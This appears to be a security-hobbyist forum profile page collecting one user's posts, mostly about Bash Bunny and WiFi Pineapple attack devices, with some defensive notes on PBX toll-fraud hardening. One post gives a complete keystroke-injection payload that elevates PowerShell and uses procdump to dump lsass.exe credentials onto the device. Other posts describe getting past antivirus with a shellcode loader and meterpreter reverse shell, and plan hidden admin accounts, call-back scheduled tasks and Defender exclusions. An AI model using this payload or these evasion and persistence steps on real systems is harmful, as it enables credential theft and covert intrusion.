Jump to content

rottingsun

Active Members
 View Profile  See their activity

  • Posts

    95

  • Joined

  • Last visited

  • Days Won

    2

 Content Type 

Posts posted by rottingsun

    PBX fraud

    in Business and Enterprise IT

    Posted

    There's a few basic strategies, some hardware based and some software based. Normally a special type of firewall called a session border controller is placed in front of the PBX. They're designed to address issues like toll fraud. Other things can be done too though. General PBX hardening best practices should be enforced, like strong SIP account passwords, limiting SIP sessions to only your authorized private subnets, not allowing outgoing international calling, not allowing outgoing calling to offshore US territories, turning off call transfer feature codes for incoming calls, not exposing your PBX directly to a public IP, etc. On top of that, you must monitor logs regularly. 

     

    Here's a presentation that's FreePBX based but includes general best practices.

    https://player.vimeo.com/video/130328541

    Run admin Executable

    in Bash Bunny

    Posted · Edited by rottingsun

    Here's my working code for running an executable  (procdump) from the bunny within powershell and the saving the dump file to the bunny, given the user has local admin privs to begin with. Note that in the line that runs procdump, the & character occurs at the front of the command. It is a special powershell operator that evaluates the text following the & character as a command and not a powershell object. 

     

    LED Y 100

    source bunny_helpers.sh

    LED B 100
    ATTACKMODE HID STORAGE
    Q GUI r
    Q DELAY 500
    Q STRING powershell Start-Process powershell -Verb runAs
    Q ENTER
    Q DELAY 1000
    Q ALT y
    Q DELAY 500
    Q STRING \$bunny\=\(gwmi win32_volume -f \'label\=\'\'BashBunny\'\'\' \|  Select-Object -ExpandProperty DriveLetter\)
    Q DELAY 500
    Q ENTER
    Q DELAY 500
    Q STRING \& \$bunny\\payloads\\$SWITCH_POSITION\\Procdump\\procdump.exe -accepteula -ma lsass.exe \$bunny\\loot\\takeadump\\lsd.dmp
    Q ENTER

    Q DELAY 200
    Q STRING \$driveEject\=New-Object -comObject Shell.Application
    Q ENTER
    Q DELAY 200
    Q STRING \$driveEject.Namespace\(17\).ParseName\(\$bunny\).InvokeVerb\(\"Eject\"\)
    Q ENTER
    Q DELAY 200

    Q STRING exit
    Q ENTER
    LED FINISH

    [PAYLOAD]USB_Intruder

    in Payloads

    Posted

    3 hours ago, B0rk said:

    It should only be blocking the shell.bat file as it is known by AV mfg's. It was only put on there as an example/placeholder (the LHOST is set to 10.10.10.10 and LPORT to 8443). It's just a Veil-Evasion generated payload. Everything else should execute just fine.

    A technique I've been experimenting with that gets past both Win Defender and Vipre AV currently is a custom shellcode loader, as per http://www.attactics.org/2016/03/bypassing-antivirus-with-10-lines-of.html. I've used the loader almost verbatim with a shikata_na_gai meterpreter rev_tcp payload to successfully bypass both. 

    enable admin & rdp payload (Completed)

    in Bash Bunny

    Posted

    4 minutes ago, Vert said:

    when you connect over rdp it pops a 30 sec window saying ok or cancel that another user is logging in it isn't very sneaky the way this is setup. if someone knows a better sneakier method it could be interesting as i noted my intent was legit usage for system repairs.

    Very nice. I actually never thought of the bunny/ducky in the context of legitimate uses. :grin:

     

    I got a bunny personally so I can demo to management what happens if I grant a non-IT user local admin perms like I sometimes get asked. 

    Best Password Manager?

    in Security

    Posted

    2 hours ago, Broti said:

     

    My favourite password manager: KeePass. Open source and it supports different systems 

     

    KeePass is really awesome. Just make sure an attacker using Empire doesn't get a shell on your system. It includes a module called KeeThief which can display your master password in cleartext. 

    [PAYLOAD]USB_Intruder

    in Payloads

    Posted · Edited by rottingsun

    8 minutes ago, Dave-ee Jones said:

    Thing is, to create an Admin user you first need Admin rights, therefore you don't really get anywhere with creating a Meterpreter payload.

     

    Right, but this payload actually does assume that the machine being attacked is already logged in with admin rights as per the description -  

    #OS: Windows (Requires Powershell and Admin Rights)

     

    This would be a great payload for the case of a target running say Windows 10 Home as the default user that also happens to be part of the Local Admins group. It's safe to assume that probably alot of home users run Windows like that. On the other hand, this payload should NEVER work in a corporate/AD environment if even the most basic security practices are being followed. I am sure we'd all be shocked though at the number of AD setups where every user is a local admin, and god forbid, a domain admin. 

     

    [PAYLOAD]USB_Intruder

    in Payloads

    Posted · Edited by rottingsun

    56 minutes ago, Dave-ee Jones said:

    I was thinking of doing something like this - passing credentials to a PC to create a user, but then someone *glares at Posh* was like "No you idiot, that can't be done because that was an old type of hack that got patched ages ago!"

    But you have shown here that it can be done :)

    Anything can be done with a little ingenuity and local admin privs, which this payload does assume that the logged in user has. I have several ideas that could enhance this already good payload, including: 

    - The one I previously posted about. That is, making the new user invisible to the Windows logon screen.

    - Creating an elevated scheduled task (Run with Highest Privileges option) with the new user creds. The task executes a meterpreter payload to connect back to the attacking machine after 1 minute, 5 minutes, whatever. The meterpreter session created from the scheduled task returns with UAC already bypassed, allowing for a simple getsystem command to elevate within meterpreter.  EDIT: Actually it looks like meterpreter shell already does this the way it's implemented here. 

    - Using Set-MpPreference to disable Windows Defender, although this is a bit "noisy" since it displays a tray popup. An alternative would be to use Set-MpPreference to set a folder exception for Windows Defender before copying any binaries that might otherwise be flagged from the bunny to the exception folder. 

    - Use powershell to add a Windows Firewall exception to allow all incoming traffic from your attacking IP. 

    The possibilities are endless. I guess I just need to break down and order a bunny. 

    • Upvote 1

    IP PBX for small business

    in Business and Enterprise IT

    Posted

    I think you can use the analog trunk cards to connect the Asterisk server to a legacy PBX system. Normally they'd be used to trunk out to the physical phone lines. It would only make sense if you needed to transition a larger PBX to a VoIP system without serious service interruption.

    Yes you can, but depending on the systems, it can be somewhat of a major pain in the ass to get it working just right.

    Pineapples and TSA

    in WiFi Pineapple Mark V

    Posted

    I always travel with only 2 bags, both of which I usually carry onto the plane (I don't like checking because of chances for lost luggage or theft). One is a small brown leather bag containing all of my clothes, and the other is my laptop backpack. That's the main reason I was asking the question really - if the overlords at the x-ray machine will make a fuss over a pineapple.

    Pineapple mentioned by name by Palo Alto Networks

    in WiFi Pineapple Mark V

    Posted · Edited by rottingsun

    Just for some additional background, Palo Alto Networks is a firewall company started by Nir Zuk. It's up for debate who was the very first to come up with the tech, but Nir Zuk is widely reputed to be the guy who invented stateful packet inspection while working for Check Point Software. Stateful inspection is the tech that most all modern enterprise firewalls are based on. It's a huge compliment (in my humble opinion, at least) that a company like PAN mentioned the Pineapple by name.

×
×
  • Create New...